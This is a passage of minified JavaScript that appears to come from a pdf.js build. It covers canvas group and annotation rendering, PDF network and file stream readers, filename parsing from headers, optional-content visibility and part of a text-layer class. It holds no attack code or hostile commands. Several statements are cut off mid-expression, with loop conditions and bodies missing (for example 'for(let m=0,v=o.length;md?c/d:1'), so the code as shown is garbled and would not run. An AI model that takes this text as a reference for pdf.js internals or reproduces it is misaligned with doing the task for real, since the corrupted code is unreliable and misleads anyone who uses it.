C=new Path2D;C.addPath(v,new DOMMatrix(t.matrix)),v=C}p.clip(v)}t.smask&&this.smaskStack.push({canvas:f.canvas,context:p,offsetX:l,offsetY:u,subtype:t.smask.subtype,backdrop:t.smask.backdrop,transferMap:t.smask.transferMap||null}),(!t.smask||this.dependencyTracker)&&(r.setTransform(1,0,0,1,0,0),r.translate(l,u),r.save()),kc(r,p),this.ctx=p,(m=this.dependencyTracker)==null||m.inheritSimpleDataAsFutureForcedDependencies(["fillAlpha","strokeAlpha","globalCompositeOperation"]).pushBaseTransform(r),this.setGState(e,[["BM","source-over"],["ca",1],["CA",1],["TR",null]]),this.groupStack.push(r),this.groupLevel++}endGroup(e,t){var i;if(!this.contentVisible)return;this.groupLevel--;const n=this.ctx,r=this.groupStack.pop();if(r===null){this.restore(e);return}if(this.ctx=r,this.ctx.imageSmoothingEnabled=!1,(i=this.dependencyTracker)==null||i.popBaseTransform(),t.smask)this.tempSMask=this.smaskStack.pop(),this.restore(e),this.dependencyTracker&&(this.ctx.restore(),this.inSMaskMode&&this.ctx.setTransform(this.suspendedCtx.getTransform()));else{this.ctx.restore();const s=Yt(this.ctx);this.restore(e),this.ctx.save(),this.ctx.setTransform(...s);const o=So.slice();_.axialAlignedBoundingBox([0,0,n.canvas.width,n.canvas.height],s,o),this.ctx.drawImage(n.canvas,0,0),this.ctx.restore(),this.canvasFactory.destroy({canvas:n.canvas,context:n}),this.compose(o)}}beginAnnotation(e,t,n,r,i,s){if(A(this,Wr,Ay).call(this),dg(this.ctx),this.ctx.save(),this.save(e),this.baseTransform&&this.ctx.setTransform(...this.baseTransform),n){const o=n[2]-n[0],l=n[3]-n[1];if(s&&this.annotationCanvasMap){r=r.slice(),r[4]-=n[0],r[5]-=n[1],n=n.slice(),n[0]=n[1]=0,n[2]=o,n[3]=l,_.singularValueDecompose2dScale(Yt(this.ctx),Yn);const{viewportScale:u}=this,c=Math.ceil(o*this.outputScaleX*u),d=Math.ceil(l*this.outputScaleY*u);this.annotationCanvas=this.canvasFactory.create(c,d);const{canvas:f,context:p}=this.annotationCanvas;this.annotationCanvasMap.set(t,f),this.annotationCanvas.savedCtx=this.ctx,this.ctx=p,this.ctx.save(),this.ctx.setTransform(Yn[0],0,0,-Yn[1],0,l*Yn[1]),dg(this.ctx)}else{dg(this.ctx),this.endPath(e);const u=new Path2D;u.rect(n[0],n[1],o,l),this.ctx.clip(u)}}this.current=new Xb(this.ctx.canvas.width,this.ctx.canvas.height),this.baseTransformStack.push(this.baseTransform),this.transform(e,...r),this.transform(e,...i),this.baseTransform=Yt(this.ctx)}endAnnotation(e){this.annotationCanvas&&(this.ctx.restore(),A(this,Wr,Ey).call(this),this.ctx=this.annotationCanvas.savedCtx,delete this.annotationCanvas.savedCtx,delete this.annotationCanvas),this.baseTransform=this.baseTransformStack.pop()}paintImageMaskXObject(e,t){var o;if(!this.contentVisible)return;const n=t.count;t=this.getObject(e,t.data,t),t.count=n;const r=this.ctx,i=this._createMaskCanvas(e,t),s=i.canvas;r.save(),r.setTransform(1,0,0,1,0,0),r.drawImage(s,i.offsetX,i.offsetY),(o=this.dependencyTracker)==null||o.resetBBox(e).recordBBox(e,this.ctx,i.offsetX,i.offsetX+s.width,i.offsetY,i.offsetY+s.height).recordOperation(e),r.restore(),i.canvasEntry&&this.canvasFactory.destroy(i.canvasEntry),this.compose()}paintImageMaskXObjectRepeat(e,t,n,r=0,i=0,s,o){var d,f,p;if(!this.contentVisible)return;t=this.getObject(e,t.data,t);const l=this.ctx;l.save();const u=Yt(l);l.transform(n,r,i,s,0,0);const c=this._createMaskCanvas(e,t);l.setTransform(1,0,0,1,c.offsetX-u[4],c.offsetY-u[5]),(d=this.dependencyTracker)==null||d.resetBBox(e);for(let m=0,v=o.length;md?c/d:1,o=u>d?u/d:1}}this._cachedScaleForStroking[0]=s,this._cachedScaleForStroking[1]=o}return this._cachedScaleForStroking}rescaleAndStroke(e,t){const{ctx:n,current:{lineWidth:r}}=this,[i,s]=this.getScaleForStroking();if(i===s){n.lineWidth=(r||1)*i,n.stroke(e);return}const o=n.getLineDash();t&&n.save(),n.scale(i,s),Iv.a=1/i,Iv.d=1/s;const l=new Path2D;if(l.addPath(e,Iv),o.length>0){const u=Math.max(i,s);n.setLineDash(o.map(c=>c/u)),n.lineDashOffset/=u}n.lineWidth=r||1,n.stroke(l),t&&n.restore()}isContentVisible(){for(let e=this.markedContentStack.length-1;e>=0;e--)if(!this.markedContentStack[e].visible)return!1;return!0}};Wr=new WeakSet,Ay=function(){for(;this.stateStack.length||this.inSMaskMode;)this.restore();this.current.activeSMask=null,this.ctx.restore(),this.transparentCanvas&&(this.ctx=this.compositeCtx,this.ctx.save(),this.ctx.setTransform(1,0,0,1,0,0),this.ctx.drawImage(this.transparentCanvas,0,0),this.ctx.restore(),this.canvasFactory.destroy(this.transparentCanvasEntry),this.transparentCanvas=null,this.transparentCanvasEntry=null)},Ey=function(){if(this.pageColors){const e=this.filterFactory.addHCMFilter(this.pageColors.foreground,this.pageColors.background);if(e!=="none"){const t=this.ctx.filter;this.ctx.filter=e,this.ctx.drawImage(this.ctx.canvas,0,0),this.ctx.filter=t}}},wy=function(e,t,n){const r=new Path2D;return r.addPath(e,new DOMMatrix(n).invertSelf().multiplySelf(t)),r};let Fh=bb;for(const h in Mi)Fh.prototype[h]!==void 0&&(Fh.prototype[Mi[h]]=Fh.prototype[h]);var uf,cf;class gv{constructor(e,t,n){b(this,uf,null);b(this,cf,null);M(this,"_fullReader",null);M(this,"_rangeReaders",new Set);M(this,"_source",null);this._source=e,g(this,uf,t),g(this,cf,n)}get _progressiveDataLength(){var e;return((e=this._fullReader)==null?void 0:e._loaded)??0}getFullReader(){return ne(!this._fullReader,"BasePDFStream.getFullReader can only be called once."),this._fullReader=new(a(this,uf))(this)}getRangeReader(e,t){if(t<=this._progressiveDataLength)return null;const n=new(a(this,cf))(this,e,t);return this._rangeReaders.add(n),n}cancelAllRequests(e){var t;(t=this._fullReader)==null||t.cancel(e);for(const n of new Set(this._rangeReaders))n.cancel(e)}}uf=new WeakMap,cf=new WeakMap;class mv{constructor(e){M(this,"onProgress",null);M(this,"_contentLength",0);M(this,"_filename",null);M(this,"_headersCapability",Promise.withResolvers());M(this,"_isRangeSupported",!1);M(this,"_isStreamingSupported",!1);M(this,"_loaded",0);M(this,"_stream",null);this._stream=e}_callOnProgress(){var e;(e=this.onProgress)==null||e.call(this,{loaded:this._loaded,total:this._contentLength})}get headersReady(){return this._headersCapability.promise}get filename(){return this._filename}get contentLength(){return this._contentLength}get isRangeSupported(){return this._isRangeSupported}get isStreamingSupported(){return this._isStreamingSupported}async read(){Ot("Abstract method `read` called")}cancel(e){Ot("Abstract method `cancel` called")}}class vv{constructor(e,t,n){M(this,"_stream",null);this._stream=e}async read(){Ot("Abstract method `read` called")}cancel(e){Ot("Abstract method `cancel` called")}}function kS(h){let e=!0,t=n("filename\\*","i").exec(h);if(t){t=t[1];let c=o(t);return c=unescape(c),c=l(c),c=u(c),i(c)}if(t=s(h),t){const c=u(t);return i(c)}if(t=n("filename","i").exec(h),t){t=t[1];let c=o(t);return c=u(c),i(c)}function n(c,d){return new RegExp("(?:^|;)\\s*"+c+'\\s*=\\s*([^";\\s][^;\\s]*|"(?:[^"\\\\]|\\\\"?)+"?)',d)}function r(c,d){if(c){if(!/^[\x00-\xFF]+$/.test(d))return d;try{const f=new TextDecoder(c,{fatal:!0}),p=dv(d);d=f.decode(p),e=!1}catch{}}return d}function i(c){return e&&/[\x80-\xff]/.test(c)&&(c=r("utf-8",c),e&&(c=r("iso-8859-1",c))),c}function s(c){const d=[];let f;const p=n("filename\\*((?!0\\d)\\d+)(\\*?)","ig");for(;(f=p.exec(c))!==null;){let[,v,y,E]=f;if(v=parseInt(v,10),v in d){if(v===0)break;continue}d[v]=[y,E]}const m=[];for(let v=0;v{t._responseOrigin=yv(u.url),XA(u.status,s),this._reader=u.body.getReader();const c=u.headers,{contentLength:d,isRangeSupported:f}=VA({responseHeaders:c,isHttp:!0,rangeChunkSize:i,disableRange:n});this._contentLength=d,this._isRangeSupported=f,this._filename=WA(c),!this._isStreamingSupported&&this._isRangeSupported&&this.cancel(new ho("Streaming is disabled.")),this._headersCapability.resolve()}).catch(this._headersCapability.reject)}async read(){await this._headersCapability.promise;const{value:t,done:n}=await this._reader.read();return n?{value:t,done:n}:(this._loaded+=t.byteLength,this._callOnProgress(),{value:Av(t),done:!1})}cancel(t){var n;(n=this._reader)==null||n.cancel(t),this._abortController.abort()}}class $S extends vv{constructor(t,n,r){super(t,n,r);M(this,"_abortController",new AbortController);M(this,"_readCapability",Promise.withResolvers());M(this,"_reader",null);const{url:i,withCredentials:s}=t._source,o=new Headers(t.headers);o.append("Range",`bytes=${n}-${r-1}`),GA(i,o,s,this._abortController).then(l=>{const u=yv(l.url);zA(u,t._responseOrigin),XA(l.status,i),this._reader=l.body.getReader(),this._readCapability.resolve()}).catch(this._readCapability.reject)}async read(){await this._readCapability.promise;const{value:t,done:n}=await this._reader.read();return n?{value:t,done:n}:{value:Av(t),done:!1}}cancel(t){var n;(n=this._reader)==null||n.cancel(t),this._abortController.abort()}}ut(116);function Zb(h){return h instanceof Uint8Array&&h.byteLength===h.buffer.byteLength?h.buffer:new Uint8Array(h).buffer}function Ev(){for(const h of this._requests)h.resolve({value:void 0,done:!0});this._requests.length=0}var _m,_A;class HS extends gv{constructor(t){super(t,VS,WS);b(this,_m);M(this,"_progressiveDone",!1);M(this,"_queuedChunks",[]);const{pdfDataRangeTransport:n}=t,{initialData:r,progressiveDone:i}=n;if((r==null?void 0:r.length)>0){const o=Zb(r);this._queuedChunks.push(o)}this._progressiveDone=i;const s=o=>{var l;switch(o.type){case"range":case"progressiveRead":A(this,_m,_A).call(this,o.begin,o.chunk);break;case"progressiveDone":(l=this._fullReader)==null||l.progressiveDone(),this._progressiveDone=!0;break}};n.transportReady(s)}getFullReader(){const t=super.getFullReader();return this._queuedChunks=null,t}getRangeReader(t,n){const r=super.getRangeReader(t,n);return r&&(r.onDone=()=>this._rangeReaders.delete(r),this._source.pdfDataRangeTransport.requestDataRange(t,n)),r}cancelAllRequests(t){super.cancelAllRequests(t),this._source.pdfDataRangeTransport.abort()}}_m=new WeakSet,_A=function(t,n){const r=Zb(n);if(t===void 0)this._fullReader?this._fullReader._enqueue(r):this._queuedChunks.push(r);else{const i=this._rangeReaders.keys().find(s=>s._begin===t);ne(i,"#onReceiveData - no `PDFDataTransportStreamRangeReader` instance found."),i._enqueue(r)}};var df;class VS extends mv{constructor(t){super(t);b(this,df,Ev.bind(this));M(this,"_done",!1);M(this,"_queuedChunks",null);M(this,"_requests",[]);const{pdfDataRangeTransport:n,disableRange:r,disableStream:i}=t._source,{length:s,contentDispositionFilename:o}=n;this._queuedChunks=t._queuedChunks||[];for(const u of this._queuedChunks)this._loaded+=u.byteLength;this._done=t._progressiveDone,this._contentLength=s,this._isStreamingSupported=!i,this._isRangeSupported=!r,sb(o)&&(this._filename=o),this._headersCapability.resolve();const l=this._loaded;Promise.resolve().then(()=>{l>0&&this._loaded===l&&this._callOnProgress()})}_enqueue(t){this._done||(this._requests.length>0?this._requests.shift().resolve({value:t,done:!1}):this._queuedChunks.push(t),this._loaded+=t.byteLength,this._callOnProgress())}async read(){if(this._queuedChunks.length>0)return{value:this._queuedChunks.shift(),done:!1};if(this._done)return{value:void 0,done:!0};const t=Promise.withResolvers();return this._requests.push(t),t.promise}cancel(t){this._done=!0,a(this,df).call(this)}progressiveDone(){this._done||(this._done=!0),this._queuedChunks.length===0&&a(this,df).call(this)}}df=new WeakMap;var ff;class WS extends vv{constructor(t,n,r){super(t,n,r);b(this,ff,Ev.bind(this));M(this,"onDone",null);M(this,"_begin",-1);M(this,"_done",!1);M(this,"_queuedChunk",null);M(this,"_requests",[]);this._begin=n}_enqueue(t){var n;this._done||(this._requests.length===0?this._queuedChunk=t:(this._requests.shift().resolve({value:t,done:!1}),a(this,ff).call(this)),this._done=!0,(n=this.onDone)==null||n.call(this))}async read(){if(this._queuedChunk){const n=this._queuedChunk;return this._queuedChunk=null,{value:n,done:!1}}if(this._done)return{value:void 0,done:!0};const t=Promise.withResolvers();return this._requests.push(t),t.promise}cancel(t){var n;this._done=!0,a(this,ff).call(this),(n=this.onDone)==null||n.call(this)}}ff=new WeakMap;const Rv=200,Qb=206;function zS(h){return typeof h!="string"?h:dv(h).buffer}var ii,Mc,YA,KA;class GS extends gv{constructor(t){super(t,XS,_S);b(this,Mc);b(this,ii,new WeakMap);M(this,"_responseOrigin",null);const{httpHeaders:n,url:r}=t;this.url=r,this.isHttp=/https?:/.test(r.protocol),this.headers=HA(this.isHttp,n)}_request(t){const n=new XMLHttpRequest,r={validateStatus:null,onHeadersReceived:t.onHeadersReceived,onDone:t.onDone,onError:t.onError,onProgress:t.onProgress};a(this,ii).set(n,r),n.open("GET",this.url),n.withCredentials=this._source.withCredentials;for(const[i,s]of this.headers)n.setRequestHeader(i,s);return this.isHttp&&"begin"in t&&"end"in t?(n.setRequestHeader("Range",`bytes=${t.begin}-${t.end-1}`),r.validateStatus=i=>i===Qb||i===Rv):r.validateStatus=i=>i===Rv,n.responseType="arraybuffer",ne(t.onError,"Expected `onError` callback to be provided."),n.onerror=()=>t.onError(n.status),n.onreadystatechange=A(this,Mc,KA).bind(this,n),n.onprogress=A(this,Mc,YA).bind(this,n),n.send(null),n}_abortRequest(t){a(this,ii).has(t)&&(a(this,ii).delete(t),t.abort())}getRangeReader(t,n){const r=super.getRangeReader(t,n);return r&&(r.onClosed=()=>this._rangeReaders.delete(r)),r}}ii=new WeakMap,Mc=new WeakSet,YA=function(t,n){var i;const r=a(this,ii).get(t);(i=r==null?void 0:r.onProgress)==null||i.call(r,n)},KA=function(t,n){const r=a(this,ii).get(t);if(!r||(t.readyState>=2&&r.onHeadersReceived&&(r.onHeadersReceived(),delete r.onHeadersReceived),t.readyState!==4)||!a(this,ii).has(t))return;if(a(this,ii).delete(t),t.status===0&&this.isHttp){r.onError(t.status);return}const i=t.status||Rv;if(!r.validateStatus(i)){r.onError(t.status);return}const s=zS(t.response);if(i===Qb){const o=t.getResponseHeader("Content-Range");/bytes (\d+)-(\d+)\/(\d+)/.test(o)?r.onDone(s):(ht('Missing or invalid "Content-Range" header.'),r.onError(0))}else s?r.onDone(s):r.onError(t.status)};var pf,Si,JA,ZA,QA,qA;class XS extends mv{constructor(t){super(t);b(this,Si);b(this,pf,Ev.bind(this));M(this,"_cachedChunks",[]);M(this,"_done",!1);M(this,"_requests",[]);M(this,"_storedError",null);this._fullRequestXhr=t._request({onHeadersReceived:A(this,Si,JA).bind(this),onDone:A(this,Si,ZA).bind(this),onError:A(this,Si,QA).bind(this),onProgress:A(this,Si,qA).bind(this)})}async read(){if(await this._headersCapability.promise,this._storedError)throw this._storedError;if(this._cachedChunks.length>0)return{value:this._cachedChunks.shift(),done:!1};if(this._done)return{value:void 0,done:!0};const t=Promise.withResolvers();return this._requests.push(t),t.promise}cancel(t){this._done=!0,this._headersCapability.reject(t),a(this,pf).call(this),this._stream._abortRequest(this._fullRequestXhr),this._fullRequestXhr=null}}pf=new WeakMap,Si=new WeakSet,JA=function(){const t=this._stream,{disableRange:n,rangeChunkSize:r}=t._source,i=this._fullRequestXhr;t._responseOrigin=yv(i.responseURL);const s=i.getAllResponseHeaders(),o=new Headers(s?s.trimStart().replace(/[^\S ]+$/,"").split(/[\r\n]+/).map(c=>{const[d,...f]=c.split(": ");return[d,f.join(": ")]}):[]),{contentLength:l,isRangeSupported:u}=VA({responseHeaders:o,isHttp:t.isHttp,rangeChunkSize:r,disableRange:n});this._contentLength=l,this._isRangeSupported=u,this._filename=WA(o),this._isRangeSupported&&t._abortRequest(i),this._headersCapability.resolve()},ZA=function(t){this._requests.length>0?this._requests.shift().resolve({value:t,done:!1}):this._cachedChunks.push(t),this._done=!0,this._cachedChunks.length===0&&a(this,pf).call(this)},QA=function(t){this._storedError=bv(t,this._stream.url),this._headersCapability.reject(this._storedError);for(const n of this._requests)n.reject(this._storedError);this._requests.length=0,this._cachedChunks.length=0},qA=function(t){var n;(n=this.onProgress)==null||n.call(this,{loaded:t.loaded,total:t.lengthComputable?t.total:this._contentLength})};var gf,$s,tE,eE,xy;class _S extends vv{constructor(t,n,r){super(t,n,r);b(this,$s);b(this,gf,Ev.bind(this));M(this,"onClosed",null);M(this,"_done",!1);M(this,"_queuedChunk",null);M(this,"_requests",[]);M(this,"_storedError",null);this._requestXhr=t._request({begin:n,end:r,onHeadersReceived:A(this,$s,tE).bind(this),onDone:A(this,$s,eE).bind(this),onError:A(this,$s,xy).bind(this),onProgress:null})}async read(){if(this._storedError)throw this._storedError;if(this._queuedChunk!==null){const n=this._queuedChunk;return this._queuedChunk=null,{value:n,done:!1}}if(this._done)return{value:void 0,done:!0};const t=Promise.withResolvers();return this._requests.push(t),t.promise}cancel(t){var n;this._done=!0,a(this,gf).call(this),this._stream._abortRequest(this._requestXhr),(n=this.onClosed)==null||n.call(this)}}gf=new WeakMap,$s=new WeakSet,tE=function(){var n;const t=yv((n=this._requestXhr)==null?void 0:n.responseURL);try{zA(t,this._stream._responseOrigin)}catch(r){this._storedError=r,A(this,$s,xy).call(this,0)}},eE=function(t){var n;this._requests.length>0?this._requests.shift().resolve({value:t,done:!1}):this._queuedChunk=t,this._done=!0,a(this,gf).call(this),(n=this.onClosed)==null||n.call(this)},xy=function(t){this._storedError??(this._storedError=bv(t,this._stream.url));for(const n of this._requests)n.reject(this._storedError);this._requests.length=0,this._queuedChunk=null};function nE(h,e=null){const t=process.getBuiltinModule("fs"),{Readable:n}=process.getBuiltinModule("stream"),r=t.createReadStream(h,e);return n.toWeb(r)}class YS extends gv{constructor(e){super(e,KS,JS);const{url:t}=e;ne(t.protocol==="file:","PDFNodeStream only supports file:// URLs.")}}class KS extends mv{constructor(t){super(t);M(this,"_reader",null);const{disableRange:n,disableStream:r,rangeChunkSize:i,url:s}=t._source;this._isStreamingSupported=!r,process.getBuiltinModule("fs/promises").lstat(s).then(l=>{const u=nE(s);this._reader=u.getReader();const{size:c}=l;this._contentLength=c,this._isRangeSupported=!n&&c>2*i,!this._isStreamingSupported&&this._isRangeSupported&&this.cancel(new ho("Streaming is disabled.")),this._headersCapability.resolve()}).catch(l=>{l.code==="ENOENT"&&(l=bv(0,s)),this._headersCapability.reject(l)})}async read(){await this._headersCapability.promise;const{value:t,done:n}=await this._reader.read();return n?{value:t,done:n}:(this._loaded+=t.byteLength,this._callOnProgress(),{value:Av(t),done:!1})}cancel(t){var n;(n=this._reader)==null||n.cancel(t)}}class JS extends vv{constructor(t,n,r){super(t,n,r);M(this,"_readCapability",Promise.withResolvers());M(this,"_reader",null);const{url:i}=t._source;try{const s=nE(i,{start:n,end:r-1});this._reader=s.getReader(),this._readCapability.resolve()}catch(s){this._readCapability.reject(s)}}async read(){await this._readCapability.promise;const{value:t,done:n}=await this._reader.read();return n?{value:t,done:n}:{value:Av(t),done:!1}}cancel(t){var n;(n=this._reader)==null||n.cancel(t)}}function ZS(h){return vd(h)?jS:_n?YS:GS}var Eg,mf,vf;let Ys=(Eg=class{static get workerPort(){return a(this,mf)}static set workerPort(e){if(!(typeof Worker<"u"&&e instanceof Worker)&&e!==null)throw new Error("Invalid `workerPort` type.");g(this,mf,e)}static get workerSrc(){return a(this,vf)}static set workerSrc(e){if(typeof e!="string")throw new Error("Invalid `workerSrc` type.");g(this,vf,e)}},mf=new WeakMap,vf=new WeakMap,b(Eg,mf,null),b(Eg,vf,""),Eg);var fu,yf;class QS{constructor({parsedData:e,rawData:t}){b(this,fu);b(this,yf);g(this,fu,e),g(this,yf,t)}getRaw(){return a(this,yf)}get(e){return a(this,fu).get(e)??null}[Symbol.iterator](){return a(this,fu).entries()}}fu=new WeakMap,yf=new WeakMap;const Eh=Symbol("INTERNAL");var bf,Af,Ef,pu;class qS{constructor(e,{name:t,intent:n,usage:r,rbGroups:i}){b(this,bf,!1);b(this,Af,!1);b(this,Ef,!1);b(this,pu,!0);g(this,bf,!!(e&Xn.DISPLAY)),g(this,Af,!!(e&Xn.PRINT)),this.name=t,this.intent=n,this.usage=r,this.rbGroups=i}get visible(){if(a(this,Ef))return a(this,pu);if(!a(this,pu))return!1;const{print:e,view:t}=this.usage;return a(this,bf)?(t==null?void 0:t.viewState)!=="OFF":a(this,Af)?(e==null?void 0:e.printState)!=="OFF":!0}_setVisible(e,t,n=!1){e!==Eh&&Ot("Internal method `_setVisible` called."),g(this,Ef,n),g(this,pu,t)}}bf=new WeakMap,Af=new WeakMap,Ef=new WeakMap,pu=new WeakMap;var Aa,Ht,gu,mu,wf,Sy;class tC{constructor(e,t=Xn.DISPLAY){b(this,wf);b(this,Aa,null);b(this,Ht,new Map);b(this,gu,null);b(this,mu,null);if(this.renderingIntent=t,this.name=null,this.creator=null,e!==null){this.name=e.name,this.creator=e.creator,g(this,mu,e.order);for(const n of e.groups)a(this,Ht).set(n.id,new qS(t,n));if(e.baseState==="OFF")for(const n of a(this,Ht).values())n._setVisible(Eh,!1);for(const n of e.on)a(this,Ht).get(n)._setVisible(Eh,!0);for(const n of e.off)a(this,Ht).get(n)._setVisible(Eh,!1);g(this,gu,this.getHash())}}isVisible(e){if(a(this,Ht).size===0)return!0;if(!e)return cv("Optional content group not defined."),!0;if(e.type==="OCG")return a(this,Ht).has(e.id)?a(this,Ht).get(e.id).visible:(ht(`Optional content group not found: ${e.id}`),!0);if(e.type==="OCMD"){if(e.expression)return A(this,wf,Sy).call(this,e.expression);if(!e.policy||e.policy==="AnyOn"){for(const t of e.ids){if(!a(this,Ht).has(t))return ht(`Optional content group not found: ${t}`),!0;if(a(this,Ht).get(t).visible)return!0}return!1}else if(e.policy==="AllOn"){for(const t of e.ids){if(!a(this,Ht).has(t))return ht(`Optional content group not found: ${t}`),!0;if(!a(this,Ht).get(t).visible)return!1}return!0}else if(e.policy==="AnyOff"){for(const t of e.ids){if(!a(this,Ht).has(t))return ht(`Optional content group not found: ${t}`),!0;if(!a(this,Ht).get(t).visible)return!0}return!1}else if(e.policy==="AllOff"){for(const t of e.ids){if(!a(this,Ht).has(t))return ht(`Optional content group not found: ${t}`),!0;if(a(this,Ht).get(t).visible)return!1}return!0}return ht(`Unknown optional content policy ${e.policy}.`),!0}return ht(`Unknown group type ${e.type}.`),!0}setVisibility(e,t=!0,n=!0){var i;const r=a(this,Ht).get(e);if(!r){ht(`Optional content group not found: ${e}`);return}if(n&&t&&r.rbGroups.length)for(const s of r.rbGroups)for(const o of s)o!==e&&((i=a(this,Ht).get(o))==null||i._setVisible(Eh,!1,!0));r._setVisible(Eh,!!t,!0),g(this,Aa,null)}setOCGState({state:e,preserveRB:t}){let n;for(const r of e){switch(r){case"ON":case"OFF":case"Toggle":n=r;continue}const i=a(this,Ht).get(r);if(i)switch(n){case"ON":this.setVisibility(r,!0,t);break;case"OFF":this.setVisibility(r,!1,t);break;case"Toggle":this.setVisibility(r,!i.visible,t);break}}g(this,Aa,null)}get hasInitialVisibility(){return a(this,gu)===null||this.getHash()===a(this,gu)}getOrder(){return a(this,Ht).size?a(this,mu)?a(this,mu).slice():[...a(this,Ht).keys()]:null}getGroup(e){return a(this,Ht).get(e)||null}getHash(){if(a(this,Aa)!==null)return a(this,Aa);const e=new dy;for(const[t,n]of a(this,Ht))e.update(`${t}:${n.visible}`);return g(this,Aa,e.hexdigest())}[Symbol.iterator](){return a(this,Ht).entries()}}Aa=new WeakMap,Ht=new WeakMap,gu=new WeakMap,mu=new WeakMap,wf=new WeakSet,Sy=function(e){const t=e.length;if(t<2)return!0;const n=e[0];for(let r=1;rf===p+1)&&g(this,de,null)}deletePages(e){A(this,en,ed).call(this);const t=a(this,de),n=A(this,en,nd).call(this);g(this,si,{pageNumberToId:t.slice(),pagesNumber:a(this,$e),prevPageNumbers:a(this,Rr).slice()});const r=a(this,$e)-e.length;g(this,$e,r);const i=g(this,de,new Uint32Array(r));g(this,Rr,new Int32Array(r));let s=0,o=0;for(const l of e){const u=l-1;u!==s&&(i.set(t.subarray(s,u),o),o+=u-s),s=u+1}sa(this,de)[t-1])})}cancelCopy(){g(this,sl,null)}pastePages(e){A(this,en,ed).call(this);const t=a(this,de),n=A(this,en,nd).call(this),{pageNumbers:r,pageIds:i}=a(this,sl),s=a(this,$e)+r.length;g(this,$e,s);const o=g(this,de,new Uint32Array(s));g(this,Rr,new Int32Array(s)),o.set(t.subarray(0,e),0),o.set(i,e),o.set(t.subarray(e),e+r.length),A(this,en,Ng).call(this,n,null,e,r),g(this,sl,null)}hasBeenAltered(){return a(this,de)!==null}getPageMappingForSaving(e=null){e??(e=A(this,en,nd).call(this));let t=0;for(const r of e.values())t=Math.max(t,r.length);const n=new Array(t);for(let r=0;rs[0]-o[0]);for(let s=0,o=r.length;sn-r);const t=new Map;for(let n=0,r=e.length;n=n&&u({...Promise.withResolvers(),data:wh});var ur;class rE{constructor(){b(this,ur,new Map)}get(e,t=null){if(t){const r=a(this,ur).getOrInsertComputed(e,qb);return r.promise.then(()=>t(r.data)),null}const n=a(this,ur).get(e);if(!n||n.data===wh)throw new Error(`Requesting object that isn't resolved yet ${e}.`);return n.data}has(e){const t=a(this,ur).get(e);return!!t&&t.data!==wh}delete(e){const t=a(this,ur).get(e);return!t||t.data===wh?!1:(a(this,ur).delete(e),!0)}resolve(e,t=null){const n=a(this,ur).getOrInsertComputed(e,qb);if(n.data!==wh)throw new Error(`Object already resolved ${e}.`);n.data=t,n.resolve()}clear(){var e;for(const{data:t}of a(this,ur).values())(e=t==null?void 0:t.bitmap)==null||e.close();a(this,ur).clear()}*[Symbol.iterator](){for(const[e,{data:t}]of a(this,ur))t!==wh&&(yield[e,t])}}ur=new WeakMap;const nC=1e5,t1=30;var $1,Ea,on,xf,Sf,vu,al,Qi,Cf,Tf,ol,Pf,yu,wa,bu,If,Au,ll,Rf,Ff,ye,Eu,hl,Df,wu,xu,Hs,iE,sE,Cy,Jn,Bg,Ty,aE,oE;let xm=(ye=class{constructor({textContentSource:e,images:t,container:n,viewport:r}){b(this,Hs);b(this,Ea,Promise.withResolvers());b(this,on,null);b(this,xf,!1);b(this,Sf,!!(($1=globalThis.FontInspector)!=null&&$1.enabled));b(this,vu,null);b(this,al,null);b(this,Qi,null);b(this,Cf,0);b(this,Tf,0);b(this,ol,null);b(this,Pf,null);b(this,yu,0);b(this,wa,0);b(this,bu,Object.create(null));b(this,If,[]);b(this,Au,null);b(this,ll,[]);b(this,Rf,new WeakMap);b(this,Ff,null);var u;if(e instanceof ReadableStream)g(this,Au,e);else if(typeof e=="object")g(this,Au,new ReadableStream({start(c){c.enqueue(e),c.close()}}));else throw new Error('No "textContentSource" parameter specified.');g(this,on,g(this,Pf,n)),g(this,vu,t),g(this,wa,r.scale*uh.pixelRatio),g(this,yu,r.rotation),g(this,Qi,{div:null,properties:null,ctx:null});const{pageWidth:i,pageHeight:s,pageX:o,pageY:l}=r.rawDims;g(this,Ff,[1,0,0,-1,-o,l+s]),g(this,Tf,i),g(this,Cf,s),A(u=ye,Jn,aE).call(u),n.style.setProperty("--min-font-size",a(ye,wu)),hh(n,r),a(this,Ea).promise.finally(()=>{a(ye,xu).delete(this),g(this,Qi,null),g(this,bu,null)}).catch(()=>{})}static get fontFamilyMap(){const{isWindows:e,isFirefox:t}=be.platform;return dt(this,"fontFamilyMap",new Map([["sans-serif",`${e&&t?"Calibri, ":""}sans-serif`],["monospace",`${e&&t?"Lucida Console, ":""}monospace`]]))}render(){a(this,vu)&&a(this,on).append(a(this,vu).render());const e=()=>{a(this,ol).read().then(({value:t,done:n})=>{if(n){a(this,Ea).resolve();return}a(this,al)??g(this,al,t.lang),Object.assign(a(this,bu),t.styles),A(this,Hs,iE).call(this,t.items),e()},a(this,Ea).reject)};return g(this,ol,a(this,Au).getReader()),a(ye,xu).add(this),e(),a(this,Ea).promise}update({viewport:e,onBefore:t=null}){var i;const n=e.scale*uh.pixelRatio,r=e.rotation;if(r!==a(this,yu)&&(t==null||t(),g(this,yu,r),hh(a(this,Pf),{rotation:r})),n!==a(this,wa)){t==null||t(),g(this,wa,n);const s={div:null,properties:null,ctx:A(i=ye,Jn,Bg).call(i,a(this,al))};for(const o of a(this,ll))s.properties=a(this,Rf).get(o),s.div=o,A(this,Hs,Cy).call(this,s)}}cancel(){var t;const e=new ho("TextLayer task cancelled.");(t=a(this,ol))==null||t.cancel(e).catch(()=>{}),g(this,ol,null),a(this,Ea).reject(e)}get textDivs(){return a(this,ll)}get textContentItemsStr(){return a(this,If)}static cleanup(){if(!(a(this,xu).size>0)){a(this,Eu).clear();for(const{canvas:e}of a(this,hl).values())e.remove();a(this,hl).clear()}}},Ea=new WeakMap,on=new WeakMap,xf=new WeakMap,Sf=new WeakMap,vu=new WeakMap,al=new WeakMap,Qi=new WeakMap,Cf=new WeakMap,Tf=new WeakMap,ol=new WeakMap,Pf=new WeakMap,yu=new WeakMap,wa=new WeakMap,bu=new WeakMap,If=new WeakMap,Au=new WeakMap,ll=new WeakMap,Rf=new WeakMap,Ff=new WeakMap,Eu=new WeakMap,hl=new WeakMap,Df=new WeakMap,wu=new WeakMap,xu=new WeakMap,Hs=new WeakSet,iE=function(e){var r,i;if(a(this,xf))return;(i=a(this,Qi)).ctx??(i.ctx=A(r=ye,Jn,Bg).call(r,a(this,al)));const t=a(this,ll),n=a(this,If);for(const s of e){if(t.length>nC){ht("Ignoring additional textDivs for performance reasons."),g(this,xf,!0);return}if(s.str===void 0){if(s.type==="beginMarkedContentProps"||s.type==="beginMarkedContent"){const 